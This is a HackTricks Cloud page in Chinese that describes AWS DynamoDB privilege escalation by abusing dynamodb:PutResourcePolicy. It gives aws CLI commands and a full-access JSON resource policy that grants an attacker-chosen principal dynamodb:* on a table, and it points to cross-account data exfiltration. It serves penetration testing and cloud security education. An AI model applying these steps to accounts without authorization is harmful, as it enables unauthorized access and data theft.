AWS - DynamoDB Privesc
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
dynamodb
有关 dynamodb 的更多信息请参见:
dynamodb:PutResourcePolicy,可选的 dynamodb:GetResourcePolicy
从 2024 年 3 月起,AWS 为 DynamoDB 提供了 基于资源的策略(AWS News)。
因此,如果你对某个表拥有 dynamodb:PutResourcePolicy,你就可以直接授予自己或任何其他主体对该表的完全访问权限。
将 dynamodb:PutResourcePolicy 授予某个随机主体常常是无意间发生的,可能是因为管理员认为授予 dynamodb:Put* 只会允许该主体向数据库放入项,或者他们在 2024 年 3 月之前就授予了该权限集…
理想情况下,你还拥有 dynamodb:GetResourcePolicy,这样你就不会覆盖其他可能重要的权限,而只是注入你需要的新增权限:
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
如果无法检索当前策略,请使用下面这个,它授予你的 principal 对该表的完全访问权限:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
如果你需要自定义,这里有一个包含所有可能的 DynamoDB 操作的列表: AWS Documentation。另外,这里是一个可以通过基于资源的策略允许的所有操作的列表 以及哪些可以用于跨账户(think data exfiltration!): AWS Documentation
现在,在准备好策略文档 policy.json 后,放入资源策略:
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
现在,你应该已经拥有所需的权限。
Post Exploitation
据我所知,单凭一些 AWS dynamodb 权限,没有其他直接方法可以在 AWS 中提升权限。你可以从表中读取敏感信息(这些信息可能包含 AWS 凭证),也可以向表中写入信息(这可能触发其他漏洞,例如 lambda 代码注入…),但所有这些选项都已在 DynamoDB Post Exploitation page 中考虑:
AWS - DynamoDB Post Exploitation
TODO: 通过滥用 data Streams 读取数据
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

